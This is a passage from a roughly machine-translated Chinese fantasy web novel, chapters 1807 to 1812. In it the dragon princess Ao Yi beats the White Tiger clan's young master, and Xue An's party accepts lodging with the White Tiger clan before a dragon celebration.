    "Xue An was reincarnated and reborn, and proving that he was a fairy king, don''t you know such a big thing?"


    As soon as this sentence came out, the great elder and others all sighed secretly, knowing that there was no way to hide things.


    And Ao Shu was shocked with an incredible face, and then tremblingly said: "Second sister, you... are you true?"


    "Of course it''s true, can I lie to you about this kind of thing? I have to say, this guy who suffered a thousand swords is really fateful. The Tribulation of the Immortal Venerable actually failed to kill him and allowed him to be reincarnated. !" Ao Yi exclaimed.


    But Ao Shu didn''t hear the following words at all. She saw her face pale as paper, but her eyes were horribly bright, and she whispered softly: "He is not dead, he is still alive..."


    As she spoke, her voice choked.


    And the appearance of Hyunran''s weeping is so pitiful to me, at least Ao Yi rubbed her face with a squint, and said with a smile.


    "Of course not dead, not only did not die, but also getting better and better! How? How do you feel now? Are you very happy?


    Ao Shu nodded, already speechless, and his whole body was shaking slightly with excitement.


    But Ao Yi''s face gradually became gloomy, and then a dangerous murderous intent flashed in his eyes.

 Chapter 1807： 2 domineering grandmothers

    "You are happy, but I am not happy! Because this one who suffered a thousand swords abducted my sister''s heart, but there was no news later. I wanted to go to him to settle the account, but then there was news. Saying he is dead, I don��t bother to bother! But when he comes back this time, the first thing he should do is to come to you, but he didn��t do so. What does this mean?"


    "It means that he doesn''t have you in his eyes! How can this be forgiving? So this time I must teach him a lesson and let him know that my Ao family girl is not something he can insult at will!"


    Speaking of the back, the murderous aura on Ao Yi''s face almost overflowed.


    Ao Shu looked terrified, because she knew that her crazy second sister could do anything.


    What should I do?


    Just when she was at a loss, the Li Fierce Spirit walked forward with a smile, and said: "Young Master Baihu, I have seen the second princess!"


    "Young Master Baihu? You are Li Xiaoling?" Ao Yi glanced at this Li Xiaoling coldly.


    Li Xiaoling smiled and nodded, "It''s right here, I..."


    Before he could finish the following words, Ao Yi asked straightforwardly: "When Shu''er was young, did you often bully her?"


    These words made the smile on Li Xiongling''s face directly froze, and then said in a very embarrassing manner: "This...I was young at the time, and I might have offended Shuer in some places..."


    "Stop the **** nonsense, Shu''er told me a long time ago, you bullied her all day, and you yelled that you would take away her primordial yin when she grew up, right?" Ao Yi''s face was murderous. Now.


    Li Xiaoling was a little dumbfounded.


    He never remembered what he had said, but based on his character, he might have said that.


    Therefore, he hurriedly explained: "Second Highness Rongji, at that time I..."


    Before he could finish his words, Ao Yi rushed forward, then raised his hand and blasted a punch.


    This fist was hitting Li Xiuling''s cheek, and he was caught off guard and directly smashed Li Xiuling away.


    Until then, Ao Yi said murderously: "Rong Ji, your mother, Rong Ji, dare to bully my sister, grandma, I will let you know why the flowers are so popular today!"


    Li Xiaoling was completely stunned, and he never thought that this woman would actually do it directly.


    He didn''t react until he was about to land, and then he drew back, which was able to stop his figure.


    It''s just that at this time, his appearance has become much more miserable. A boss''s bag swelled on his handsome face, and blood was flowing down the corner of his mouth.


    The pain caused him to tremble slightly, and his eyes became fierce.


    Since childhood, no one has dared to beat him like this, never!


    So he stared at Ao Yi hard, and said coldly: "Second princess, what do you mean? I am the young master of the dignified White Tiger clan. You just beat people like this, have you ever thought about the consequences?"


    "Why? The young master of the White Tiger tribe is amazing? The young master of the White Tiger tribe can bully my sister? I am! I will tell you today, even if the Red Lotus Immortal Venerable is here now, I can''t beat him. Mistake, because the one who deceives my sister will kill me!"


    Following the voice, Ao Yi''s figure flickered again, and directly rushed to Li Xiongling.


    Li Xiaoling was also hit with real fire now.


    He didn''t expect that one thing that had gone smoothly, why suddenly met this lunatic.


    It seems that reasoning doesn''t make sense, so just hit it!


    Therefore, he snorted coldly, and the power of urging his bloodline fought with Ao Yi.


    But just a moment later, in a burst of continuous bombardment, Li Xiongling was blown out like a kite with a broken line, and several mouthfuls of blood were spit out along the way.


    This scene stunned the men who had followed Li Xianling.


    Because if Li Xiaoling had any shortcomings, one of them would count as one, and they would all have to be buried.


    So they rushed up quickly and carefully caught Li Xioling''s figure.


    Looking at the Li Fierce Spirit at this time, his face was gray, and his eyes became a little dull. What''s more important was the redness and swelling of the cheekbones on both sides, and bloodshots appeared faintly in it, and it was obviously more than a slap.


    Ao Yiyun clapped her hands lightly, and said with disdain: "With your strength, you dare to do something with my mother?"


    Li Xiong gritted his teeth tightly, his eyes filled with fearful resentment, and then said in an extremely cold voice.


    "Ao Yi, very good. How dare you treat a young master of the White Tiger clan like this? I swear fiercely that you will pay ten times, no! A hundred times the price!"


    However, Ao Yi curled his lips nonchalantly, "Hehe, is the young master of the White Tiger tribe very good? He also made me pay ten or even a hundred times the price, believe it or not, I will end up with you now?"


    With that, Ao Yi stepped forward.


    Li Xiaoling was so scared that he backed away again and again, and at the same time shouted in a nervous voice that changed his tone: "What do you want to do? Elder, are you just watching your princess commit murder in public like this?"


    The elder sighed softly, and then took a step forward, "Second princess, let''s forget it! Anyway, he is also the blood of the old man, he is really going to kill, the trouble is not small, anyway, you are out of anger. Just let him go!"


    "Huh! You are afraid that Lao Shi will be tough, I am not afraid! I am so angry, I will kill the White Tiger Clan now, and kill all the white-haired beasts!"


    Ao Yi said murderously, and following her voice, a virtual white dragon slowly appeared above her head.


    This white dragon phantom image was much clearer than the previous one by Ao Shu. As soon as it appeared in front of everyone, it immediately caused the world to shake.


    And the extreme power of the Immortal King is the oppressive Li Fierce Spirit who can''t even speak.


    This kind of coercion made everyone feel disgusted.


    Many dragons even felt this breath from a distance, and they immediately buried their heads in the ground, and their whole bodies trembled slightly.


    Nothing else, because the impression that Ao Yi left on many dragons was too deep.


    Except for Xue An, she may be the most troublesome for the Dragon Race!


    After all, the name of the second grandmother is not for nothing!


    "Second sister, let''s forget it! Although he bullied me at the beginning, after all, it has been a long time, so I can drive him away!" Ao Shu Judo.


    When Li Xiongling heard the words, tears filled his eyes I only felt that Ao Shu was shining.


    Ao Yi snorted angrily, "I am venting your anger for you!"


    "Well, you can''t really kill him, let him go!"


    "It''s really boring!" Ao Yi stomped his foot, then raised his eyebrows slightly, and shouted coldly at Li Xiongling.


    "Get out! I tell you, stay away from my sister in the future, otherwise...I see you hit you once!"


    If you want to ask Li Xiaoling now what is the most regrettable thing in the world, he will definitely answer without hesitation, and should not provoke the mad second princess Ao Yi.


    Therefore, after hearing Ao Yi''s ruthless words, he dared not even say a word in the scene, so he could only glance at everyone present, give a cold snort, and then left in disgrace.


    After seeing him go, Ao Yi turned his head to look at his sister Ao Shu, and then said with a gloomy face: "Well, now we''re going to leave Xue An to suffer a thousand swords. You said we went straight to find him to settle the account. , Or are you waiting for him here?"

 Chapter 1808： The wicked have their own wicked torment?

    "Ah...Don''t be so exaggerated!" Ao Shu said hesitantly.


    "Ah what? Is this exaggeration? You, you, you are too buns, that''s why you were bullied!" Ao Yi looked like he hated iron for not being steel.


    "But even if we go to him now, we don''t know where he is?" Ao Shu said weakly.


    In the face of her extremely powerful second sister, she will always be like a child, not even daring to speak too loudly.


    "Also! Who knows where the earth is!" Ao Yi couldn''t help feeling a little discouraged.


    "It''s boring. After hearing the news, I was thinking of coming over to find the scumbag to settle the accounts, but no one came, and I was boring! I left!" As he said, Ao Yi was going to leave in a hurry.


    Upon seeing this, the elder hurriedly stepped forward to stop her, "Second Highness stay!"


    "What? Old man, what else do you have?" Ao Yi said impatiently.


    "Ahem!" The elder was dumbfounded by Ao Yi''s name, but he also knew that the second princess was usually crazy like this, so he didn''t mind.


    "That''s the Second Highness. Now the little princess has broken through to the realm of Da Luo at the age of seventeen. This is a great event, so I have notified all the monster races and are preparing to hold a celebration. Since the Second Highness It��s already here, how about going after the celebration?"


    When Ao Yi heard the words, there was a light in front of him, and then he looked at Ao Shu carefully, and then exclaimed.


    "If you don''t say that I really didn''t pay attention, I actually broke through for Daluo, okay, Shuer, you can break through earlier than me, this talent really deserves to be my sister of Ao Yi!"


    While talking, Ao Yi patted Ao Shu on the shoulder with a triumphant smile.


    Then she turned her head and said to the elder.


    "Okay, since this matter has already been settled, it''s fine for me to be idle anyway, it just happens to be lively!"


    Then she pulled Ao Shu''s arm, "Sister, go!"


    After all, without waiting for Ao Shu''s reaction, she dragged her away.


    After they left, the elders immediately gathered around.


    "Elder, what are you doing? You actually kept the second highness? Isn''t it too busy?"


    "Yeah, we were already exhausted, and let the Second Highness stay. Isn''t this just asking for trouble?"


    Everyone began to "blame" the great elder.


    The great elder smiled when he heard the words, and then lightly stroked his beard and said, "What do you know? I''m all for the good of all of us! You don''t want to think about it. Xue An has been proving the Immortal King for a while, where is he going now? I don��t know at all. What should you and I do if he shows up at the celebration?"


    This sentence silenced everyone.


    Yes!


    What if he rushes over to the celebration if he hears the news?


    Especially with the little princess''s temper, if you see him...


    Thinking of the worst possible, the complexions of many elders all became a little ugly.


    When the elder saw this, he smiled complacently, "That��s why I kept the Second Highness and asked her to stay to participate in the celebration. In this way, even if Xue An��s wife really appeared, the Second Highness would go down to deal with him, and we would be better off. Clean!"


    "But with the strength of the Second Highness, can it be Xue An''s opponent?" an elder asked in a low voice.


    "Hehe, how about you guys staying in the lair all day, even your heads are growing scales!" The elder sneered, then continued.


    "The Second Highness and the little princess are sisters, and she has already determined that Xue An is a liar who deceives the little princess''s feelings, so after seeing Xue An, she will definitely stand up for her sister!"


    "In this case, even if the Second Royal Highness is not Xue An��s opponent, Xue An dare not really take her. After all, she is the little princess��s relatives, so he has to worry about how the little princess feels! What''s more... ...."


    The elder smiled mysteriously, "Your Highness, that''s not a fuel-efficient lamp! Now Xue An is only just proving the Dao Immortal King. If you really want to fight, you don��t know who will win and who will lose! What is this called? The wicked grind!"


    A triumphant smile appeared on the face of the great elder.


    The elders looked at the great elder who looked like a plan, thought for a moment, and then sighed.


    "Sure enough, the elder is still as resourceful as the sea!"


    "The Great Elder is really a Shenlong!"


    "Now Xue An will kick on the iron plate unless he doesn''t come, as long as he dares to come, after all, His Royal Highness is famous for being difficult and crazy, so I will see how rampant he is by then!"


    "Hey, I''m suddenly looking forward to it!"


    After speaking, all the dragon elders laughed, gloating, as if they really saw Xue Papi being beaten by Ao Yi.


    But what they didn''t know was that at the same moment, Xue An, who was secretly poked and cursed by them, was talking about them.


    "Husband, do you have a good relationship with these dragons?" An Yan asked.


    "Uh...how do you put it, it''s okay!" Xue An said lightly, but under his calm appearance, there seemed to be a little unusual tension.


    "What''s the concept of okay? This time we are going to use the holy land origin of the dragon clan to rescue Xiaosha, and we have to find out where the emperor is going. If the relationship is not good, will these dragon clan help?" An Yan said with some worry.


    At this moment, Hu Ye suddenly came over and said with a mysterious smile: "Sister-in-law, don''t worry, Old Xue definitely has a way to solve these problems. The big deal is the same as before, and he will give a serious lesson to this group of big loaches. Chant but..." An Yan still hesitated, emotionally, she really couldn''t accept Fox Ye''s words.


    But Hu Ye smiled, "Sister-in-law, it''s nothing, you don''t know how hateful these big mud loaches are. They regard money as fate and they are still rooted in their roots. Only like Old Xue is able to teach them a lesson. Otherwise, will these guys still not go to heaven?"


    "Not to mention..." Hu Ye glanced at Xue An and smiled meaningfully: "Even if this group of loach disagrees, there will be someone willing to help!"


    "Cough cough!" Xue An suddenly coughed a few times, stared at Fox Ye with a calm expression, and then said to him: "Ying''er, where are we now?"


    Looking excitedly at Fox Ying''s miss for manipulating Xingzhou, she turned her head and said: "Dad, we are very close to our destination now!"


    "Yeah! Sister Ying said that there is a chaotic sea of ??stardust in front of you, as long as you pass through it, it will be there!"


    "Oh! That''s really coming soon, everyone, get ready, the Stardust Sea in front of you is very large, but it''s easy to get lost inside!"

 Chapter 1809： The battle of demon sealing

    Xue An cleverly led the topic elsewhere.


    really.


    After hearing what Xue An said, An Yan hurried to Hu Ying''s side, looked outside with a nervous expression, and then whispered to Hu Ying, A Rou and others.


    This silent crisis is temporarily over.


    Hu Ye looked at Xue An with a grin, his appearance was so nasty.


    Xue An gave him a fierce look, then lowered his voice and said, "Do you want to be beaten?"


    "Hey, what? I''m afraid that my sister-in-law knows about you and that little dragon princess?" Hu Ye smiled happily.


    "Go away, what''s the fear of me, I haven''t done anything to be sorry for Yan''er!"


    "Then why were you so nervous just now?"


    "Am I nervous? Nothing!" Xue Anyi said righteously.


    "Aren''t you nervous? If you''re not nervous, then why do you quickly turn off the topic? Still saying it''s not a guilty conscience?"


    Xue An: "..."


    Then Shen Sheng said: "The reason why I turned off the topic is not because I am afraid that you will be talking nonsense again!"


    Hu Ye curled his lips, "You fool you, you can''t fool me!"


    As he said, he leaned forward and whispered with a smirk: "Don''t worry, I will keep my mouth tight and keep this secret for you, but only if my sister-in-law can''t doubt me, otherwise don''t blame me for betraying you. Oh!"


    Huye smiled happily when he said this.


    Because he felt that he had grasped Xue An''s handle!


    Xue An looked at the arrogance and pride on this guy''s face, and suddenly wanted to tie his tail into a beautiful bow.


    But helpless, the situation is better than others.


    Therefore, he could only suppress the impulse in his heart and whispered: "Really? Then I really want to thank you!"


    Thanks for these two words, Xue An said it through gritted teeth.


    "No thanks, are we good brothers, this is what I should do!" Hu Ye said with a very thief smile.


    At the same time, Xingzhou has sailed into the sea of ??stardust.


    Looking at the white scene beyond the porthole, An Yan couldn''t help feeling a little nervous.


    Fortunately, Hu Ying had already mastered Xingzhou very proficiently along the way, so there was no bumps, and she drove into the depths very smoothly.


    An Yan was slightly relieved when he saw this, and then asked very puzzled: "Husband, how come there are so many star fragments here?"


    The area of ??this sea of ??stardust is so large, and most of its main body is the dust after the stars are broken, so An Yan was so surprised.


    Xue An smiled slightly, "This is not surprising, because this was once the location of an ancient battlefield!"


    "Ancient battlefield?" An Yan was taken aback.


    Xue An nodded, "Yes! As far as we are now, it was a place where the monster race lived long ago. At that time, it was extremely prosperous and the stars were as many as rivers and sands. Unfortunately, the next battle was complete. After destroying this place, even those stars were not spared, they were all destroyed, and they finally became what they are now!"


    Although Xue An''s words were very understatement, listening to An Yan''s ears seemed to open up a magnificent picture of war, which surprised her.


    "Oh my god, a big battle has destroyed countless planets, and even the remaining dust can gather into an ocean. Then how cruel and grand this battle should be!"


    Xue An shrugged slightly, "Yes, in this battle, it is heard that countless demon races have fallen, so this battle is also called the battle of demon sealing by later generations, because after this battle, the once prosperous demon races It declined."


    "Then why did such a cruel war happen?" An Yan turned into a curious baby, and then asked.


    Xue An shook his head, "I don''t know this well, but Fox Ye should know some inside information, after all, this battle took place within their monster race! Isn''t it Fox Ye!"


    Fox Ye��s complexion became a little weird, shook his head, and then smiled bitterly: ��To be honest, I don��t know the true details of the original battle. I have asked the great elders several times, but they all kept secrets about it. I don��t want to reveal any news. I only know that this battle of sealing monsters seems to be inseparable from the Dragon Race!"


    These words made Xue An''s eyes light up.


    "Related to the Dragon Race?"


    "Yes! This is the only clue I know. If you want to know more, you should ask them!"


    Just as several people were talking about the original battle, Hu Ying suddenly shouted: "Sit down, we are going out!"


    When the words were over, the two little girls immediately grabbed Chan''er and Zhang Xiaoyu''s hands, and the four of them sat together.


    at the same time.


    The star boat under his feet shook suddenly, and then the scenery outside the porthole suddenly opened up, revealing a vast starry sky.


    "Okay, the sea of ??stardust has come out, and hundreds of thousands of miles away is the ancestral land of the Dragon Race! We are all seated firmly, we are about to set off next!" After checking the star map, Hu Ying said very excitedly.


    "Wait!" Xue An suddenly stopped her.


    "Huh? What''s wrong with Brother Xue?" Hu Ying was taken aback.


    "someone is coming!"


    The voice just fell, but several brilliance came to the front of Xingzhou surrounded by a banner.


    Above the banner is the image of a ferocious white tiger.


    Fox Ye''s eyes narrowed slightly, "It''s the Baihu clan among the monster clan. It''s very close to their residence, so I should have noticed a change, so come and take a look!"


    At this moment, Guanghua under its banner appeared in shape.


    It was the fierce and fierce spirit before.


    It''s just that at this moment, Li Fierce Spirit has no longer had the embarrassment of the dragon clan''s ancestors, and has become radiant again, only a pair of eyes still flashing fierce and vicious colors from time to time.


    "I am the young master of the White Tiger clan, dare to ask who is in the star boat?"


    Although the words were very polite, the men behind him surrounded him with a calm expression while they were speaking.


    The reason why Li Xioling appeared here was to vent his anger.


    At that time, after suffering a violent loss in the ancestral land of the Dragon clan, he returned to the land of the Baihu clan full of anger, and then added his jealousy to tell his father and the senior leaders of the Baihu clan.


    After hearing what he said, many senior members of the Baihu clan were also extremely angry, because in any case, Li Xiongling represented the face of the Baihu clan.


    As a result, Na Ao Yi dared to commit crimes in public, which clearly did not put the Baihu tribe in his eyes.


    At that time, Li Xiaoling''s father clamored to find Ao Yi in the ancestral land of the dragon clan, but was stopped by others.


    Because they also received invitations, they invited them to observe Ao Shu''s promotion celebration.


    Therefore, the White Tiger Clan decided to settle the account with the Dragon Clan in front of the World Monster Clan at the celebration.


    So this matter was delayed.


    Although Li Xiaoling was a little unwilling, he didn''t dare to say anything.

 Chapter 1810： Invite guest

    But he has his own plan!


    Because he was thinking very well, since the Dragon Clan sends out invitations widely, there will definitely be many monsters going to watch the ceremony, and it is hard to guarantee that there will be no passing through the Sea of ??Stardust.


    I can just take this opportunity to stand by and wait for the rabbit outside of the stars. If you encounter a powerful monster, let it go, if it is of average strength...


    Then he can only be blamed for his bad luck, not only will the gifts they send will be laughed at by Li Xiaoling, but even their lives will not be saved.


    With this gloomy thought, Li Xiongling guarded the Stardust Overseas.


    But I don''t know if it was his bad luck or the other demon race''s luck.


    He spent a full day in the stars outside the world without seeing the roots.


    This kind of boring waiting made Li Xiongling angry, until he was about to give up.


    The star boat on which Xue An and others were riding suddenly appeared.


    Seeing this, Li Xiaoling was ecstatic, and immediately jumped out and blocked his way.


    At the same time, everyone in the star boat also heard Li Fierce Ling''s words.


    After looking at each other, Xue An frowned slightly.


    "This guy, he seems to be uneasy!"


    He said he wanted to step out of the star boat.


    At this moment, Hu Ye stopped him, "Wait a minute, I know this kid! He is a young master of the White Tiger clan, he is extremely cruel by nature, and he is definitely not safe to watch here, but killing him like this will shock the White Tiger. Clan, why don''t I go out and talk to him!"


    With that, Hu Ye laughed loudly and said, "Who am I supposed to be? It turns out to be Young Master Baihu! Long time no see!"


    Then he walked out of the Xingzhou.


    At this time, Li Xiaoling was already a little impatient in waiting. He looked at the star boat with cold eyes, thinking that everyone in it should have heard his own words, why didn''t he respond?


    At this moment, Fox Ye''s voice came over.


    Li Xiaoling was taken aback, because he heard the voice very familiar.


    at the same time.


    Fox Ye''s figure appeared in front of Xingzhou, and smiled at Li Xiaoling.


    "Why? Don''t you recognize it?"


    "Fox...Fox Night? You are Fox Night?" Li Xiaoling trembled all over, exclaiming.


    Hu Ye smiled and nodded, "Yes, it''s me! Master Young Master, why are you so leisurely, running into the void to become a goalkeeper?"


    Li Xiaoling blushed, but there was a deep jealousy in his eyes.


    Because if it''s only about identity, Hu Ye can be a bit higher than him.


    This is not only because the Qingqiu Fox Country is far stronger than the White Tigers, but also because Fox Ye is the strongest and most terrifying existence among the younger generation of monsters.


    Not to mention anything else, just by the fact that he was the first to prove the Dao Immortal King among the younger generation of monsters, you can know how powerful he is.


    Faced with such an existence, the little thought in Li Xiaoling''s heart instantly disappeared, and then he smiled.


    "Master Fox was joking. I just passed by here occasionally and saw a star boat rushing out of the sea of ??stardust. I was a little curious, so I just came over and took a look. Where are you waiting here!"


    This was obviously a lie, but Hu Ye didn''t bother to expose him, but only faintly responded.


    However, Li Xiaoling seemed to have thought of something, and smiled and said, "Master Fox appeared here, and he must have received an invitation from the Dragon Clan? If you want to say that you came fast enough, this is only a day. Have you come here from Qingqiu Fox Country?"


    The invitation of the dragon?


    Hearing these words, Hu Ye''s heart moved, but on the surface he didn''t change his expression, just smiled.


    "It happened to be idle during this time, so I took a few friends to play in the sky, so I rushed over after receiving the news!"


    This was obviously talking nonsense with his eyes open, but Li Xiaoling didn''t suspect him, and suddenly he had another idea in his heart.


    This Fox Yegui is the future heir of the Qingqiu Fox Country. If I can make a good relationship now, it will be of great help to me in seizing power in the future!


    At this point, the smile on his face couldn''t help but become hot again.


    "No wonder, it''s a pity that you came a little too early. There are still three days away from my sister Ao Shu''s Daluo celebration. How about you go to my place for a few days, and then go there together?"


    Li Xiaoling deliberately said that Ao Shu''s name was very intimate, which was obviously also deliberate.


    But Hu Ye didn''t pay attention to these at all. At this moment, all his thoughts were attracted by the information contained in this sentence.


    Ao Shu? Isn''t the little princess of the dragon family always in retreat? Why didn''t you pass the pass early and didn''t pass the pass late, so it happened that you passed the pass at this time? And also promoted to Da Luo strong?


    This can be said to have disrupted the previous overall plan!


    Hu Ye was very anxious, and naturally he didn''t reply Li Xiongling''s words.


    Li Xiaoling was startled slightly, not understanding what it meant that the face of the fox night on the other side suddenly changed.


    At this moment, Xue An''s voice suddenly came over.


    "If that''s the case, let''s go and talk for a few days! What do you mean? Brother Fox?" Xue An didn''t know when he had walked out of the star boat, and blinked at Fox Ye.


    Hu Ye immediately understood what Xue An meant, and then nodded, "That''s what I said, then we will really be harassing Young Master Baihu for a few days!"


    When Xue An just appeared, Li Xiaoling put all his attention on him.


    But today''s Xue An Guanghua is introverted, and apart from a pair of crystal clear pupils that burst out from time to time, there is no extraordinary place.


    In addition, Xue An is a human race.


    Therefore, Li Xiaoling just glanced at it, and then ignored it.


    Because for his existence with a powerful alien bloodline, Human Race is simply synonymous with fragility, so he didn��t even bother to pay attention to it. All his attention was left to Fox Night.


    "Master Fox, you are too polite. This can be regarded as sharing some things for my sister Ao Shu, and I think that if sister Ao Shu sees you in three days, she will be very happy to observe her celebration in person. !"


    Li Xiaoling deliberately made the relationship between himself and Ao Shu ambiguous, just to confuse his eyes.


    But he didn''t seem to know that the white-clothed young man opposite him was the one who really made the dragons look like an enemy.


    As for what he said, Xue An only smiled after hearing it, and didn''t even think about it.


    The Baihu Clan��s residence is indeed not far from here, so everyone quickly came here.


    And when Li Xiaoling was on the road, he had already sent the news back in advance, so when Huye and others arrived.


    The chief elder of the White Tiger tribe, Li Xieling''s father, Li Liou, personally led the powerful men to the door to greet him.

 Chapter 1811： Nothing to show your courtesy, you will steal if you do it!

    When Huye just got off the Xingzhou, Li Shou greeted him with a smile on his face.


    "Master Fox, we haven''t seen you since we met you in Qingqiu Fox Country a hundred years ago. I didn''t expect you to be so graceful and magnificent, and you are so extraordinary!"


    These remarks sounded a little flattering at first, but speaking from Li Mou''s mouth was like a spring breeze, without the slightest embarrassment.


    This is how the great demon like Li Xu is so smart!


    Because the relationship between Hu Ye and Li Mou and Li Xiaoling, the father and son, was a nodding acquaintance at best, but Li Mou felt like they had been friends for many years.


    Huye could only smile at this, but he was secretly wary.


    Nothing to show your courtesy, you will steal if you do it!


    That''s it for Li Xiaoling. This Li Mou is a master of the monster clan who has been famous for many years. Why should he be so polite to me?


    It seems I should be more careful!


    These old guys are the masters who cannibalize people and don''t spit out bones. One is careless, and they don''t know if they were sold!


    "Elder Li is so polite. As a junior, how can you meet him in person?" Hu Ye said with a smile on his face.


    "Young Master Fox is too modest. You are the future successor of the Qingqiu Fox Country. You are one of the best in the younger generation of the Yao Clan. It is only natural for the old man to come to greet him. In fact, if the patriarch is not busy with his affairs, his elderly may also Coming!"


    Huye didn''t even dare to say, his performance was impeccable.


    The two met again in such a vain and polite meeting, and then Li Mou stretched out his hand.


    "Haha, let''s not talk about that, Young Master Fox, please come in!"


    After speaking, he personally led the way.


    Fox night walked behind, eyes flickering slightly.


    Because he always felt that these guys were not well-intentioned, so he turned his head and looked at Xue An.


    Although he could not speak, his eyes explained everything.


    He really didn''t understand why Xue An agreed to Li Xioling''s invitation and ran into the white tiger clan to take this muddy water.


    Xue An just smiled at this, and then nodded gently, beckoning him to stay calm.


    At this moment, Li Mou led everyone to the door of a wide courtyard.


    Needless to say, the magnificence of this courtyard, the key is that there is still a long walk of charming maidservants standing in front of the door.


    Li Mou smiled slightly, "Master Fox, you can live here for the time being! You take a rest and wait until the evening to pick up the dust for you!"


    After that, he turned to leave.


    Hu Ye quickly stopped him, "Elder Li, let''s stay first!"


    "What? Young Master Fox is there anything else?" Li Mou asked with a smile.


    "What happened to these... women?" Hu Ye asked with a dazed expression.


    "Oh! You are asking these maids!" A mysterious smile appeared on Li Shou''s face, "They are all specially assigned to serve you, how about it? Are you satisfied?"


    Fox night was dumbfounded.


    At the same time, Li Mou took a rather witty step forward, lowered his voice and said, "Master Fox, these maidservants took a lot of effort to get them together. They come from the big monster races, very rare! You! Enjoy!"


    As he said, he blinked at Huye, revealing a man who knows how to smile.


    Hu Ye almost wanted to cry without tears, because he could clearly feel that there was a scorching gaze staring at him behind his back.


    You don''t have to look back at Hu Ye to know that it must come from his sister.


    But this is not the main point, the point is that Arou Ke is on the sidelines!


    Don''t look at this Li Mou deliberately lowering his voice, but to A Rou, who has amazing ears, it is of no avail.


    really.


    Fox Ye felt an invisible pressure coming from his side.


    But Li Mou didn''t notice this at all, and still introduced with excitement on his face.


    "I heard that Mr. Fox enjoys countless flowers, and ordinary vulgar powder is naturally difficult to see. So I specially found many new tricks for you this time, such as this pair of sister flowers..."


    "Ahem!" Hu Ye coughed violently.


    Li Mou was taken aback, "Master Fox, what''s the matter with you? But is your body unwell?"


    Hu Ye waved his hand, and then popped out a few words from his teeth, "It''s okay! Elder Li, your love is distracting me, but you should take these women away!"


    Li Mou''s eyes widened, "What''s the matter? Is Mr. Fox dissatisfied? It''s okay. If you are dissatisfied, just bring it up and I will replace it immediately!"


    Looking at the sincere Li Mou, Hu Ye suddenly had an urge to kill, but in the end she could only shook her head in pain.


    "No, it''s just that I''m not good at it, and I don''t have countless flowers! So please ask Elder Li to take someone away quickly!"


    Li Mou looked at Hu Ye with a look of astonishment, thinking he had heard it wrong.


    He has heard of Fox Night��s anecdotes more than once, and no one among the monsters knows that this eldest son of the fox country is so beautiful. What he usually likes most is to look for flowers and ask Liu everywhere. Why has he suddenly changed his **** now? ?


    But what a character Li Shou was. Although he was shocked, he quickly returned to normal. Then he gave a meaningful look at the embarrassed Fox Ye, then looked at Xue An in the distance, suddenly as if he understood something. , Nodded slightly.


    "So that''s the case, the old man is abrupt! I''m really embarrassed, I will take someone away now!"


    After all, he winked at these maidservants, and they all followed him away.


    It wasn''t until Li Mou''s back was no longer visible that Hu Ye let out a sigh of relief.


    Then turned around, sister Hu Ying and Arou smiled with embarrassed faces.


    "This old man is so enthusiastic!"


    A Rou smiled without saying a word.


    Hu Ying didn''t care so much, she saw her coldly snorted, and pointedly said, "Is this enthusiasm? I think it''s for someone''s favor!"


    "Don''t talk nonsense, your brother and I are not such a casual person!"


    "Yeah! Aren''t you just being a human!" Hu Ying snorted, and then took A Rou''s hand and walked into the courtyard.


    Even An Yan looked at Hu Ye with a bit of hatred for iron and steel, and sighed, "You, you, really...what are you talking about!"


    After speaking, he turned and left.


    In the blink of an eye, Xue An and Fox Ye were left in front of the door Xue An smiled and looked at the embarrassed Fox Ye, only to feel that he finally got out of the previous breath.


    "Old Xue, what are you doing with that look? Don''t even you believe me?" Hu Ye said very aggrieved.


    Xue An nodded slowly, "Yes! I just don''t believe you!"


    "You...! Forget it, those who are clear will clear themselves, and those who will be muddy will be muddled! Leave all the merits and demerits for future generations!" Hu Ye said with a sad face, his tone was full of the world''s drunk and I was alone. Lonely.


    But as soon as his words fell, Xue An raised his hand and knocked on his head, and said with a smile, "Stop putting garlic in front of my eyes!"


    Hu Ye clutched the knocked bag on his head, wanted to attack but knew that he was not Xue An''s opponent, so he could only say with a grin.


    "You can''t just start lightly? My head almost let you knock it out! Hey, old Xue, why did you agree to come to this white tiger clan?"


    Xue An said indifferently: "No, it''s just a little fun!"

 Chapter 1812： The distress of Fox Night

    "Just for fun?" Hu Ye''s eyes widened.


    Xue An nodded, "Yeah! This time we just caught up with the Shu girl''s celebration, so naturally we are going to celebrate! So let''s live with this white tiger clan for two days first! When the time comes, we will go there together. A surprise for these dragons!"


    Surprise... For those dragons, this should be a shock! Hu Ye murmured a few words in his heart, and then frowned: "But I heard this fierce and fierce tone, it seems to be walking very close to Girl Ao Shu!"


    Xue An smiled freely, "His remarks sounded quite bluff at first, but there is a big loophole!"


    "What loophole?"


    Xue An said calmly: "Don''t you realize that this Li Fierce Spirit suffered serious injuries at the time? Although he is mostly healed, there are still subtle traces that can be seen."


    Hearing Xue An��s words, Fox Ye frowned for a while, and then suddenly said: ��It��s really true! I said, how did I think his face was a little weird at the time! It��s like being beaten crooked, but this is with you. Does it matter?"


    "Of course it does matter! Li Xiaoling is a junior at best, and the elder of the Dragon Clan will definitely not do anything with him. You know Ao Shu''s temper. She is a good girl, let alone beats people. Then who beat him up? What about a meal?"


    "You mean..."


    Xue An nodded, "Yes, it''s her!"


    Then he sighed and said, "Apart from her, I can''t think of anyone who can do things so recklessly!"


    Fox Ye was full of excitement, seemed to recall some unpleasant memories, swallowed a few mouthfuls with difficulty, and then said in a trembling voice.


    "Old Xue, I suddenly felt that in order to find the whereabouts of Emperor Liuliu, it is not necessary to look for the Dragon Clan. Should we...change a place?"


    "What about Xiaosha? Except for the Dragon Race''s holy land origin, you want to save her by an individual way!" Xue An said lightly.


    Hu Ye really lowered his head and thought about it for a while, and then said righteously: "Or else, bury Xiaosha''s dragon egg under the three-life tree in Qingqiu Fox Country, and then I ask the elder. Cast a spell to make her reincarnated as a fox, what do you think?"


    Xue An took a deep look at Hu Ye and slowly said, "What do you think?"


    Fox Ye''s voice gradually became quieter, "It seems...it seems a bit wrong...!"


    Xue An shook his head, "Okay, take a look at your prowess! This Ao Yi is indeed crazy, but you are also a top expert among the younger generation of Yaozu, why are you so afraid of her?"


    "You...you don''t understand!" Hu Ye lowered his head with a look of embarrassment, and said in a low voice: "At the beginning, the elder of my family had discussed with the previous white king, and I and Ao Yi, who were not yet born at the time, should be referred to Married!"


    Hearing these words, Xue An couldn''t help but startled, and then looked at Fox Ye with shock.


    "what did you say?"


    Hu Ye smiled bitterly: "In other words, I have a marriage contract with Ao Yi!"


    Xue An''s eyes gradually became serious.


    Among the monster race, the combination of strong men of different races is an incredible thing, but in fact it is normal.


    Because the harm of close relatives marriage is unavoidable even for the Monster Race, but the purity of blood is something that every race needs to maintain.


